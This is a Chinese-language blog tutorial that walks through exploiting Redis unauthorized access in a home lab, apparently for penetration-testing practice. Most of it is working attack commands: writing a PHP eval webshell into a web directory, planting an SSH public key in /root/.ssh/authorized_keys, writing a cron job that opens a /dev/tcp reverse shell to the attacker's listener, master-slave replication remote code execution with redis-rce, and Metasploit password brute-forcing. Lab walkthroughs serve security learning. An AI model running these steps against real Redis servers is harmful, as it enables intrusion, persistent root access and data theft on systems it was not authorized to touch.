本文介绍: 1.了解redisRedis(Remote Dictionary Server ),即远程字典服务,是一个开源使用ANSI C语言编写支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis开发工作由VMware主持。从2013年5月开始,Redis开发由Pivota赞助。2.redis漏洞原理Redis默认情况下是绑定在0.0.0.0:6379端口的,如果没有设置密码(一般密码为空)或者密码为弱密码的情况下并且也没有

目录

1.了解redis

2.redis漏洞原理

3.redis漏洞复现

3.1 安装redis

3.1.1 Linux安装redis

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivota赞助。

Redis默认情况下是绑定在0.0.0.0:6379端口的,如果没有设置密码(一般密码为空)或者密码为弱密码的情况下并且也没有进行有效保护措施,那么处于公网redis服务就会被任意用户授权访问读取数据,甚至利用redis自身的命令,进行写入文件操作,这样就会恶意攻击者利用redis授权漏洞进行进一步攻击

我看很多redis漏洞复现靶机和攻击机都是linux系统的,如果你是这样的那么网上比较多这样复现文章,也比较简单本文攻击机是windows和靶机是Linuxkali虚拟机之间漏洞复现

攻击机:window10 专业版 ip 192.168.43.102

靶机:linux kali ip192.168.43.141

因为我之前已经安装过了就不把步骤截图了,代码步骤已经给大家写清楚了,实在不会就自己百度可能make时候报错可能是你gcc没有下载

一步 wget http://download.redis.io/releases/redis-2.8.17.tar.gz#下载redis
第二步 tar xzf redis-2.8.17.tar.gz#解压安装包
第三cd redis-2.8.17 #进入redis文件夹
第四步 make #在redis-2.8.17文件夹执行make
第五步 cd src#进入redis-2.8.17文件夹下的src文件夹六步 cp redis-server /usr/bin
第七步 cp redis-cli /usr/bin #将redis-serverredis-cli拷贝到/usr/bin目录下(这样启动redis-serverredis-cli就不用每次都进入安装目录了)
第八步 cp redis-conf /etc/ #返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下
第九步 redis-server /etc/redis.conf #使用/etc/目录下的reids.conf文件中的配置启动redis服务

可以看到我在任何地方都可以启动redis服务端

首先自己下载redis压缩包,直接解压官网自己去下载。在redis文件夹运行cmd,如果你的redis服务端开启执行下面代码就进行连接

redis-cli.exe -h 192.168.43.141 #ip是你靶机的IP地址端口可加可不加。
#redis-cli.exe -h 192.168.43.141 -p 6379
#如果是linux连接
redis-cli -h ip

 

 到目前为止redis未授权漏洞我们已经复现成功,接下来就是漏洞利用

注意:如果是版本比较高的redis需要修改redis的配置文件linux是redis.conf。如果是windows配置文件是redis.windows.conf。将bind前面#注释去掉,将protected-mode 后面改为no

 

1.靶机redis链接授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证

2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限开启web服务器,就可以利用url使用蚁剑进行连接)

config get dir #查看redis数据库路径
config set dir /root/redis-2.8.17# #修改靶机Redis数据库路径
config set dbfilename 22.php #生成22.php文件
set xxx "rnrn<?php phpinfo();?&gt;rnrn"#将一句话木马写入文件中
#"rnrn"是换行的意思,用redis写入文件自带一些版本信息,如果不换行可能导致无法执行set xxx "rnrn<?php eval($_POST[whoami]);?&gt;rnrn"#上传木马可以通过蚁剑连接
save#保存

 经过上述代码操作,可以看到22.php文件成功写入到/root/redis-2.8.17文件夹下,且一句话木马成功写入22.php文件里面。如果开启web服务就可以将一句话木马写入网站目录下,那么利用一句话木马就可以得到敏感信息。或者可以通过蚁剑连接。具体步骤可以看下面。蚁剑连接密码就是whoami,不会蚁剑这个自己再学习这方面知识了。

 

 

 

大家都知道可以通过ssh远程登录另外一台电脑ssh登录有两种一个是密码登录,一个是密钥登录我们主要看密钥登录什么流程公钥登录是为了解决每次登录服务器都要输入密码的问题,流行使用RSA加密方案,主要流程包含

1、客户端生成RSA公钥和私钥

2、客户端将自己的公钥存放服务

3、客户端请求连接服务器,服务器将一个随机字符串发送给客户

4、客户端根据自己的私钥加密这个随机字符串之后再发送给服务器

5、服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户登录,否则拒绝。这样就不用使用密码了。

1.当redis以root身份运行

2.靶机redis链接授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证

3.存在/root/.ssh目录,如果不存在我们可以通过一句话木马连接蚁剑创建目录不过可能进不去root目录权限问题可能或者自己mkdir一个目录毕竟是自己搭建靶场。因为.ssh隐藏目录可以通过ls -la查看没有

我是windows没有办法直接生成密钥所以需要安装git,可以自己百度安装流程,从官网下载安装包。如果不想这么麻烦可以在靶机linux系统直接运行代码生成密钥再将密钥复制粘贴出来,或者开启web服务下载,毕竟我们只是演练。

1.安装好git,在桌面右击进入Git Bash Here 。输入下面指令生成密钥。在你用户名文件夹下.ssh文件里面就会出现公钥和私钥

ssh-keygen -t rsa

 

 2.生成密钥之后我们可以将公钥id_rsa.pub里面内容复制粘贴key.txt文件中,再上传到靶机上面

 3.通过以下命令将公钥上传到靶机。

type key.txt | redis-cli.exe -h 192.168.43.141 -x set xxx#如果是linuxtype换成cat
#将公钥作为value插入数据库中,key随便啥值。
redis-cli.exe -h 192.168.43.141 config set dir /root/.ssh
#修改redis数据库路径
redis-cli.exe -h 192.168.43.141 config set dbfilename authorized_keys
#生成缓冲文件authorized_keys
redis-cli.exe -h 192.168.43.141 save
#保存
ssh -i id_rsa root@192.168.43.141
#连接

 

可以看到之前是没有authorized_keys文件,执行命令之后在/root/.ssh下面产生了公钥文件。

 4.成功利用ssh私钥进行连接。

1.如果你是linux系统使用cat,是windows系统使用type.

2.如果你是windows那你利用ssh密钥连接运行ssh -i id_rsa root@192.168.43.141需要在.ssh目录下,因为权限问题

3.你利用redis上传公钥时候运行代码是在你解压的redis文件下运行

4.文件名必须是authorized_keys,由配置文件决定的。

首先大家要知道crontab什么,主要是用来定时执行某些任务,如果我们把一些命令放入指定文件里面,那么程序定时去执行,相当于是每隔一段时间自动执行命令,不用担心当我们关闭会话或者目标主机关机这个我们后期持久渗透是很有帮助的。

如果你的攻击机是kali自带nc,如果像我一样是windows需要自己去下载一个nc,安装很简单nc下载地址netcat 1.11 for Win32/Win64,安装好nc,打开cmd,输入命令监听反弹shell的端口,这个端口随便设置的,主要取决你反弹命令里面设置端口

nc -lvp 8888

首先我们需要定位我们需要的文件路径下,因为在/var/spool/cron/crontabs/下如果文件名root,那么会定时执行里面命令。这个目录不同操作系统是不一样我的是debain的。具体步骤如下

redis-cli.exe -h 192.168.43.141
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "nn* * * * * /bin/bash -i>&amp;/dev/tcp/192.168.43.102/8888 0>&amp;1nn"
#前面五个星号分别表示 分 时 天 月 周 一般用于具体的定时时间。后面就是执行的命令nn是换行前面已经说过,因为redis会出现乱码,可以通过上传root文件看到乱码save

可以看到成功上传反弹命令

当我们攻击机利用nc开启8888端口监听,一直没有收到反弹的shell,所以我进行了一下排查原因,也许你们也会需要同样情况

第一个:首先你要看一下你的cron启动没有,可以先查看状态如果是running,那就不用管,如果不是就需要启动一下,一般而言cron都是自启动的。所以一般来说不会是这个出问题

service crond restart#重启
service crond start#启动
service crond stop#关闭
service crond status#查看状态

第二个:我发现我的cron启动了但是依然无法反弹shell,去找了资料知道利用redis未授权访问写的任务计划文件都有乱码,这是乱码来自redis的缓存数据,这个问题无法解决的。centos忽略乱码去执行格式正确任务计划,而ubuntudebian并不会忽略这些乱码,所以导致命令执行失败。我们手动删除乱码发现反弹仍然失败,查看资料发现我们还需要关注以下问题

第三:root文件的权限必须为600也就是说是rw———–

chmod 600 root#修改root文件权限

第四个:我们反弹shell的/bin/sh是bash,而我的靶机的bin/sh是dash ,所以运行出错。我们需要通过以下命令查看和修改。

ls -al /bin/sh#查看运行环境
ln -s -f bash /bin/sh#修改为bash

 当我们按照上述步骤修改完成可以看到反弹成功。但是ifconfig不能执行可以通过下面代码是的ifconfig成功执行。 

ln -s /usr/sbin/ifconfig /usr/bin/ifconfig

总结:计时任务反弹shell 如果是ubuntudebian操作系统这个就没有办法利用成功,centos操作系统是可以的利用的

redis主从复制我们简单理解为有两台redis服务器,一个是主,一个是从,两台服务器的数据是一样的,主服务器负责写入数据,从服务器负责读取数据。一般一个主服务器有好几个从服务器,且从服务器可能也是其他redis服务器的主服务器。这样的好处就是如果主服务器或者一个从服务器崩溃不会影响数据完整性,且读写分开,减轻服务器压力。这个大家自己找一些资料了解一下。

如果要是的利用成功需要先下载攻击代码,步骤已经给到大家。这步骤linux的下载步骤windows可以直接将这个linux里面redis-rce文件夹复制过来就行了。当然module.so已经移过来了。这个exp我感觉是针对Linux的,可能跟他调用命令函数有关是linux函数windows系统可以产生shell但是写命令没有反应,所以这里我的靶机和攻击机就要换过来。因为我这个是我在家实验的所以网段和上面就不一样了。这里还有注意如果利用redis主从复制redis版本要是4.x或者5.x

靶机:kali 192.168.3.231

攻击机 windows 192.168.3.207

一步git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
        #下载RedisModules-ExecuteCommand
第二步:git clone https://github.com/Ridter/redis-rce
        #下载redis-rce
第三步:cd RedisModules-ExecuteCommand
第四步:make
        #进入RedisModules-ExecuteCommand 使用make进行编译
第五步:mv module.so /root/redis-rce
        #编译之后将module.so移到redis-rce
第六步cd /root/redis-rce
第七步:python3 redis-rce.py -r 192.168.3.207 -L 192.168.3.231 -f module.so  
        #进入到redis-rce 执行命令,-r是目标IP -L是攻击机ip     

靶机开启redis服务端

 攻击机利用redis进行连接。

 我直接将redis-rce复制windows里面

运行代码发现报错,排查了一下是因为six模块没有安装,通过以下命令进行安装.,如果大家运行报错可以看看代码导入模块有没有安装。

pip install six

 

 安装six之后就没有报错了,可以看到一些参数,-r指的是靶机IP  -L指的是攻击机IP,如果没有指定端口就会使用默认端口。

运行以下命令,会让你选择,可以输入i,r,e分别对应交互式shell,反弹shell和退出吧。

python redis-rce.py -r 192.168.3.231 -L 192.168.3.207 -f module.so

选择交互式shell ,输入命令可以看到用户是root 还有网络信息。当然可以选择反弹shell。需要现在攻击机利用nc开启监听等待片刻就可以了。

 

注意:如果redis需要密码,可以加-a参数

攻击机:kali 192.168.3.231

靶机:windows 192.168.3.207

首先我们将redis设置一个密码,找到配置文件设置一个密码。

 msf是kali自带的一个攻击工具里面有一些针对出现漏洞的exp。不过缺点就是更新不会很及时。

msfdb run#开启msf
search redis#查看有关redis的模块
use 5#选择5号模块
show options #展示需要设置参数
set RHOST 192.168.3.207 #设置靶机的ip
run #运行模块

 

 可以看到成功爆出密码,不过这个使用的是msf自带的密码字典,所以对于复杂密码就不行了,可以使用自己字典。可以使用编号为2的redis_server密码登录验证。可以使用编号为4的file_upload进行文件上传。可以上传一句话木马和密钥。原理和客户端连接是一样的。

 好了终于将redis漏洞写完了,大家最好不用windows,太麻烦了。不过用来也没有关系,我已经给大家将坑填完了。总之这通过自己努力解决了很多问题,也是一种成就感。大家加油啊

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注